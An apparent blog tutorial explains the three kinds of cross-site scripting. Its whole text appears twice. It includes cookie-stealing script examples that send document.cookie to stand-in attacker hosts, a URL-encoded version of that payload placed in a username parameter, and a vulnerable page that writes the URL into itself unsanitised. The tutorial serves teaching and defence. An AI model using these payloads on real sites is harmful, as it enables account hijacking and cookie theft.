Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written using HTML or JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser- supported technology.
When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise.
There are three types of Cross-site Scripting attacks:
1. Non-persistent
2. Persistent
3. DOM-based
Non-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link laced with malicious code, or visit a malicious web page containing a web form, which when posted to the vulnerable site, will mount the attack. Using a malicious form will oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In such a case, the form can be submitted automatically, without the victim's knowledge (e.g. by using JavaScript]. Upon clicking on the malicious link or submitting the malicious form, the XSS payload will get echoed back and will get interpreted by the user's browser and execute. Another technique to send almost arbitrary requests (GET to ask the server for the resource and POST to request as well as send some data to the server.) is by using an embedded client such as Adobe Flash.
Persistent attacks occur when the malicious code is submitted to a web site where it is stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to interact with any additional site/link (e.g. an attacker site or a malicious link sent via email), he simply views the web page containing the code.
Persistent Attack Example
Many web sites host bulletin boards where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account compromised.
Cookie Stealing Code Snippet:
<SCRIPT>
document.location= 'http://somesite.example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
Due to the fact that the attack payload is stored on the server side, this form of xss attack is persistent.
Non-Persistent Attack Example
Many web portals offer a personalized view of a web site and may greet a logged in user with "Welcome, <your username>". Sometimes the data referencing a logged in user is stored within the query string of a URL and echoed to the screen.
Portal URL example:
http://somesite/index.php?sessionid=4524674&usernarne=user
In the example above we see that the username "user" is stored in the URL. The resulting web page displays a "Welcome, user" message. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would be possible to gain control of the user's account if they managed to get the victim to visit their URL.
A large percentage of people will be suspicious if they see JavaScript embedded in a URL, so most of the time an attacker will URL encode their malicious payload similar to the example below.
URL Encoded example of Cookie Stealing URL:
http://somesite/index.php?sessionid=5242426&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E %6C% 6F% 63%61%74%69% 6F% 6E%3D%2 7% 68%74%74%70%3A %2F%2F%61 %74% 74%61%63%6B%65%72%68%6F%73%74%2E%65%78%61%6D%70%6C%65%2F%6 3%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%73%74%65%61%6C%2E %63%6 7% 69%3F%2 7%2B%646F% 63%75%6D%65%6E% 74%2E% 63 % 6F% 6F% 6B%6 9%65%3C%2F%73%63%72%69%70%74%3E
Decoded example of Cookie Stealing URL:
http://somesite/index.php?sessionid=5242426&username=<scrip t>document. location='http://hackersite/cgibin/cookiesteal.cgi?'+document.cookie</script>
DOM-based Attack Example
Unlike the previous two flavours, DOM based XSS does not require the web server to receive the malicious XSS payload. Instead, in a DOM-based XSS, the attacker abuses runtime embedding of attacker data in the client side from within a page served from the web server.
Consider an HTML web page which embeds user-supplied content at client side i.e. at the user's browser. This, in fact, is a well established practice. For example, an HTML page can have Java Script code that embeds the location/URL of the page into the page. This URL may be partly controlled by the attacker.
In such case, an attacker can force the client (browser) to render the page with parts of the DOM (the location and/or the referrer) controlled by the attacker. When the page is rendered and the data is processed by the page (typically by a client side HTML-embedded script such as JavaScript), the page's code may insecurely embed the data in the page itself, thus delivering the cross-site scripting payload.
For example:
http://www.somesite/admin.html contains the following content: <HTML>
<TITLE>Welcome Admin !</TITLE> Hello
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document. write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
Welcome to our system
...</HTML>
This page will use the value from the "name" parameter in the following manner,
http://www.somesite/welcomeadmin.html?name=user
In this example the JavaScript code embeds part of document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as:
http://www.somesite/welcomeadmin.html?name=<script>alert(document. cookie) </script>
This will embed the malicious JavaScript payload into the page at runtime.
When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise.
There are three types of Cross-site Scripting attacks:
1. Non-persistent
2. Persistent
3. DOM-based
Non-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link laced with malicious code, or visit a malicious web page containing a web form, which when posted to the vulnerable site, will mount the attack. Using a malicious form will oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In such a case, the form can be submitted automatically, without the victim's knowledge (e.g. by using JavaScript]. Upon clicking on the malicious link or submitting the malicious form, the XSS payload will get echoed back and will get interpreted by the user's browser and execute. Another technique to send almost arbitrary requests (GET to ask the server for the resource and POST to request as well as send some data to the server.) is by using an embedded client such as Adobe Flash.
Persistent attacks occur when the malicious code is submitted to a web site where it is stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to interact with any additional site/link (e.g. an attacker site or a malicious link sent via email), he simply views the web page containing the code.
Persistent Attack Example
Many web sites host bulletin boards where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account compromised.
Cookie Stealing Code Snippet:
<SCRIPT>
document.location= 'http://somesite.example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
Due to the fact that the attack payload is stored on the server side, this form of xss attack is persistent.
Non-Persistent Attack Example
Many web portals offer a personalized view of a web site and may greet a logged in user with "Welcome, <your username>". Sometimes the data referencing a logged in user is stored within the query string of a URL and echoed to the screen.
Portal URL example:
http://somesite/index.php?sessionid=4524674&usernarne=user
In the example above we see that the username "user" is stored in the URL. The resulting web page displays a "Welcome, user" message. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would be possible to gain control of the user's account if they managed to get the victim to visit their URL.
A large percentage of people will be suspicious if they see JavaScript embedded in a URL, so most of the time an attacker will URL encode their malicious payload similar to the example below.
URL Encoded example of Cookie Stealing URL:
http://somesite/index.php?sessionid=5242426&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E %6C% 6F% 63%61%74%69% 6F% 6E%3D%2 7% 68%74%74%70%3A %2F%2F%61 %74% 74%61%63%6B%65%72%68%6F%73%74%2E%65%78%61%6D%70%6C%65%2F%6 3%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%73%74%65%61%6C%2E %63%6 7% 69%3F%2 7%2B%646F% 63%75%6D%65%6E% 74%2E% 63 % 6F% 6F% 6B%6 9%65%3C%2F%73%63%72%69%70%74%3E
Decoded example of Cookie Stealing URL:
http://somesite/index.php?sessionid=5242426&username=<scrip t>document. location='http://hackersite/cgibin/cookiesteal.cgi?'+document.cookie</script>
DOM-based Attack Example
Unlike the previous two flavours, DOM based XSS does not require the web server to receive the malicious XSS payload. Instead, in a DOM-based XSS, the attacker abuses runtime embedding of attacker data in the client side from within a page served from the web server.
Consider an HTML web page which embeds user-supplied content at client side i.e. at the user's browser. This, in fact, is a well established practice. For example, an HTML page can have Java Script code that embeds the location/URL of the page into the page. This URL may be partly controlled by the attacker.
In such case, an attacker can force the client (browser) to render the page with parts of the DOM (the location and/or the referrer) controlled by the attacker. When the page is rendered and the data is processed by the page (typically by a client side HTML-embedded script such as JavaScript), the page's code may insecurely embed the data in the page itself, thus delivering the cross-site scripting payload.
For example:
http://www.somesite/admin.html contains the following content: <HTML>
<TITLE>Welcome Admin !</TITLE> Hello
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document. write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
Welcome to our system
...</HTML>
This page will use the value from the "name" parameter in the following manner,
http://www.somesite/welcomeadmin.html?name=user
In this example the JavaScript code embeds part of document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as:
http://www.somesite/welcomeadmin.html?name=<script>alert(document. cookie) </script>
This will embed the malicious JavaScript payload into the page at runtime.
0 comments:
Post a Comment